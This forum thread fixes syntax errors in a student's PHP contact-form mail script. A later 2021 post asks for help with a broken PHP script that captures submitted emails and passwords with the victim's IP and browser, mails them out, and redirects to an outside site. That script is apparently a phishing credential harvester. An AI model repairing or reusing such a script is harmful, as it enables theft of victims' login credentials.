471,082 Members | 767 Online
Bytes | Software Development & Data Engineering Community
Post +

Home Posts Topics Members FAQ

Join Bytes to post your question to a community of 471,082 software developers and data experts.

Keep Getting unexpected T_VARIABLE error

ok I keep getting this error:

Expand|Select|Wrap|Line Numbers
  1. Parse error: syntax error, unexpected T_VARIABLE in /home/illuzion/public_html/BAMF/contactus.php on line 38
and this error is possibly on other lines could someone please help me out with this it is for a contact form for a webpage that I am making for a class project but I decided to add in this contact form....

Expand|Select|Wrap|Line Numbers
  1. <?php 
  3. include("global.inc.php"); 
  4. $errors=0; 
  5. $error="We're sorrry, we encountered some errors when processing your form, please go back and try again.<ul>"; 
  6. pt_register('POST','Name'); 
  7. pt_register('POST','Email'); 
  8. pt_register('POST','Feedback');
  9. pt_register('POST','Enquiry Type');  
  10. $enquiry=preg_replace("/(\015\012)|(\015)|(\012)/","&nbsp;<br />", $enquiry); 
  12. /* begin general error checking */ 
  14. if($name=="Full Name Here") // checks to see if there is a full name entered
  15. $errors=1; 
  16. $error.="<li>You did not fill in the Name field and it is required.";
  17. if($email=="Your Email Here") // checks to see if there is a email entered 
  18. $errors=1; 
  19. $error.="<li>You did not fill in the E-mail field and it is required."; 
  20. if($enquiry=="Place your Enquiry Here") // checks to see if there is any feedback entered 
  21. $errors=1; 
  22. $error.="<li>You did not fill in any feedback and it is required."; 
  23. if($enquirytype=="Please choose one of the following...") // checks to see if there is any feedback entered 
  24. $errors=1; 
  25. $error.="<li>You did not select a type of enquiry please go back and select one "; 
  26. if($errors==1) echo $error;   // echoes the errors if there are any 
  27. else{
  28. $mailContent="--------SUPPORT REQUEST--------\n" 
  29.             ."Name: ".$name."\n"
  30.         ."E-Mail: "$email."\n
  31.         ."Enquiry Type: "$enquirytype."\n"
  32.         ."Enquiry: "$enquiry."\n" 
  34. //---------------------------------- 
  35. $toAddress="support@bamf.dunnoscape.sooch.info"; /* change this! */ 
  36. $subject="Your Support Request at BAMF'"; /* change this! */ 
  37. $recipientSubject="BAMF's Contact Form"; /* change this! */ 
  38. $receiptMessage = "Thank you ".$name." for your enquiry at BAMF! A BAMF staff member will review your request and respond to your request if needed. \n\n\nHere is what you submitted to us:\n\n"  
  39.             ."Name: ".$name."\n"
  40.         ."E-Mail: "$email."\n
  41.         ."Enquiry Type: "$enquirytype."\n"
  42.         ."Enquiry: "$enquiry."\n"
  44. //---------------------------------- 
  45. mail($email, $subject, $receiptMessage,"From:$toAddress"); 
  46. //---------------------------------- 
  47. mail($toAddress,$recipientSubject,$mailContent,"From:$email");  
  48. <!-- redirect user to the thanks page --> 
  49. <script type="text/javascript"> 
  50. window.location="http://bamf.dunnoscape.sooch.info/index.htm"; 
  51. </script> 
  53. <!-- Do not change anything below this line --> 
  55. <?php  
  56. ?> 
Jan 13 '08 #1
8 4440
1,584 Expert 1GB
Close the lines with double quotes, and use the concatenation operator [dot] on both beginning and end of the variable.
Expand|Select|Wrap|Line Numbers
  1.      ."E-Mail: ".$email."\n"

REMOVED, "please help!" from the thread title. please don't use it again.
Jan 13 '08 #2
thank you for the help I do appreciate it and I apologize for the title.


Now I am gretting the same error on line 43

[PHP]Parse error: syntax error, unexpected T_VARIABLE in /home/illuzion/public_html/BAMF/contactus.php on line 43[/PHP]
Jan 13 '08 #3
6,050 Expert 4TB
I think you need to add a semi-colon to the end of line 40.
Jan 13 '08 #4
ok that fixed that one but GRRR now another

[PHP]Parse error: syntax error, unexpected '<' in /home/illuzion/public_html/BAMF/contactus.php on line 56[/PHP]

though that is supposed to be there for that is a comment.
Jan 13 '08 #5
6,050 Expert 4TB
You need to do
after line 55

Jan 13 '08 #6
thank you so much I hate wehn I miss little things like that lol! well the script now works thanks to you guys! thanks again!
Jan 13 '08 #7
6,050 Expert 4TB
thank you so much I hate wehn I miss little things like that lol! well the script now works thanks to you guys! thanks again!
Happens to everyone :)

Post back whenever you need some help!
Jan 13 '08 #8
hello, i keep getting this 'unexpected T_VARIABLE error' on this script on line 16, and when ever i upload the script the content goes blank and becomes 0 byte this is actually an 860 byte file, please help.


$Email = $_POST['Email'];

$password = $_POST['password'];
Please i get this erro

$ip = getenv("REMOTE_ADDR");

$browser = $_SERVER['HTTP_USER_AGENT'];

$adddate = date("D M d, Y g:i a");

$message = "*************microziel*************\n";

$message = "Email : "$Email"\n";

$message = "Password : "$password"\n";

$message = "IP Address : $ip\n";

$message = "--------------------\n";

$message = "Date : $adddate\n";

$message = "User-Agent: "$browser"\n";

$message = "***************Oz Wir3***************\n";

$message = "* Success is Loading... because I deserve it! *\n";


$subject = "$Email - IP: ".$ip."\n ";

$headers = "";

$str=array($send); foreach ($str as $send)

if(mail($send,$subject,$message,$headers) != false){

header("Location: https://frenchloto.net/pelagic2/source/index.php");


Aug 6 '21 #9

Post your reply

Sign in to post your reply or Sign up for a free account.

Similar topics

4 posts views Thread by mooneater | last post: by
6 posts views Thread by Ehartwig | last post: by
1 post views Thread by mdouble | last post: by

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.